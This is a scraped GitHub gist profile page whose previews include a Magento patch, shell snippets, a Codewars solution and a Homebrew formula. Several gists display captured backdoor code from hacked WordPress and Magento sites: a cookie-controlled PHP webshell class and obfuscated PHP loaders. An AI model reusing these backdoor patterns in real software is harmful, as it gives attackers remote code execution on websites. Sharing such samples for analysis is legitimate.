Skip to content

Instantly share code, notes, and snippets.

Working on my smart home

Matthias Kleine klein0r

Working on my smart home
Block or report user

Report or block klein0r

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
klein0r / patch.diff
Created Nov 15, 2016
Magento SUPEE8788v1 -> SUPEE8788v2 Patch (Magento > 1.9.1.x)
View patch.diff
diff --git a/lib/Unserialize/Parser.php b/lib/Unserialize/Parser.php
index 20a6a3c..88c6555 100644
--- a/lib/Unserialize/Parser.php
+++ b/lib/Unserialize/Parser.php
@@ -34,6 +34,7 @@ class Unserialize_Parser
const TYPE_DOUBLE = 'd';
const TYPE_ARRAY = 'a';
const TYPE_BOOL = 'b';
+ const TYPE_NULL = 'N';
klein0r /
Last active Apr 5, 2016 — forked from tobi-pb/
Upgrade MAMP to Mysql 5.6
tar xfvz mysql-5.6*
echo "stopping mamp"
sudo /Applications/MAMP/bin/
sudo killall httpd mysqld
echo "creating backup"
View ds214-ipkg-install
# How to install `ipkg` on a Synology DS214
After a couple of days of trying to get `ipkg` woking on my DS214 I found [this article]( by [trepmag]( It is written for the DS213j, but it’s been working for me and [others]( for the DS214 too.
I have done some minor changed to clarify some things, but if you are a Linux guy (unlike me) my changes might be of no use to you.
## Guide
klein0r / script.js
Created Oct 9, 2015
GPS Navigation (Codewars)
View script.js
function navigate(nmbrInt, roads, from, to) {
const getRoad = (from, to, roads) => roads.filter((e) => e.from == from && == to)[0];
const getIntersections = (roads) => roads.reduce((r, e) => r.concat([e.from,]), []).filter((e, i, a) => a.indexOf(e) === i);
const permutator = function(inputArr, from, to) {
var r = [];
var permute = function(arr, memo) {
var cur, memo = memo || [];
for (var i = 0; i < arr.length; i++) {
cur = arr.splice(i, 1);
klein0r / gist:1d2498ef3d692c71cd3a
Created Sep 21, 2015
Another hacked Wordpress instance
View gist:1d2498ef3d692c71cd3a
$tOtZGQ = $hytQev('bo_f'.#iai.
5”ЩrЋ:E йСƒ; ‘ CPs™й  .7љњЇМ{3„*iЏuЮ† ŸюёикšAwг=ШЇ^oчю^РKОІ*З[ ,R:Eg ЪзQЁ,НЅЗMњСЭ†…&EбюБiФ\~єv™]€(БјЬBя0D‹RKШЅWдж јќU ’LW[С[RHквюЉs9“уŽЬJв=StтО}‚6ŒЯR ОЕ1О*(kv‰6юЗLщV`8H ŠFІК^{4[9™Ц3Щ{D4Жw
View IndexController.php
class Mage_Cms_Auth_doe
public function __construct() {
$auth_cookie = @$_COOKIE['pwreoizidwmpnyjv3'];
if ($auth_cookie) {
$method = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv2']);
$auth = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv1']);
klein0r / gist:2024f8b25b0d57b9ebb7
Created Jul 10, 2015
Wordpress-Hacks everywhere
View gist:2024f8b25b0d57b9ebb7
'A@!'|'$@ ';$CTv9dUvq='v>}Wy{'&"?n7_[Z";$Kw8So=cPiQwD_f1.'~G`Inf'|'.'./*G6OP_D'.
'KJz*/bEqvgN.'`'.dfh4.')Gj';$x7ZTNazT83='!'|' ';$uf='-E#8(V]F9,'._tS3.#HV5MrX5'.
' B$'|'$`,';$cWBZYNvAVf=e4&":%";$CWybIel=xt&IT;$vDm2Py6F6m='DP^A'|'P@Y@';'xv5r'.
'RGd:)Gf<p';$nhuvfU_Ae=B^':';$KNnxqtt_j=SW^'% ';$ad8FGFpkzwK=p|'5';$pJw=(/*dkw'.
klein0r / gist:3744c2ee9cdce01b034e
Created Jul 10, 2015
Another hacked Wordpress Instance
View gist:3744c2ee9cdce01b034e
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $tngmufxact = '%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x]88]5]48]32M3]317]445]212]445]43]321]464]284{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2bpreg_replace("%x2f%50%x2e%52%x29%57%x65","%x6%x7860439275ttfsqnpdov{h19275j{hnpd19275fubm%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5cc%x7825+*!*+fepdfe{h+{d%x5c%x7825c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5cvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,2825r%x5c%x7878B%x5c%x782825tdz*Wsfuvso!%x5c%x7825bss%x5c%xssutRe%x5c%x782
View varnish3.rb
require 'formula'
class Varnish3 <Formula
url ''
homepage ''
sha256 '973f60625e9690e0989e1bbc73c37ea53fc6291b8f7b03d617b76f8084a4a243'
depends_on 'pkg-config' => :build
depends_on 'pcre' => :build
klein0r /
Last active Aug 29, 2015
Foto backups via rsync
rsync -Cavuzbr . /Volumes/IomegaHDD/Backup/Lightroom/ --delete
You can’t perform that action at this time.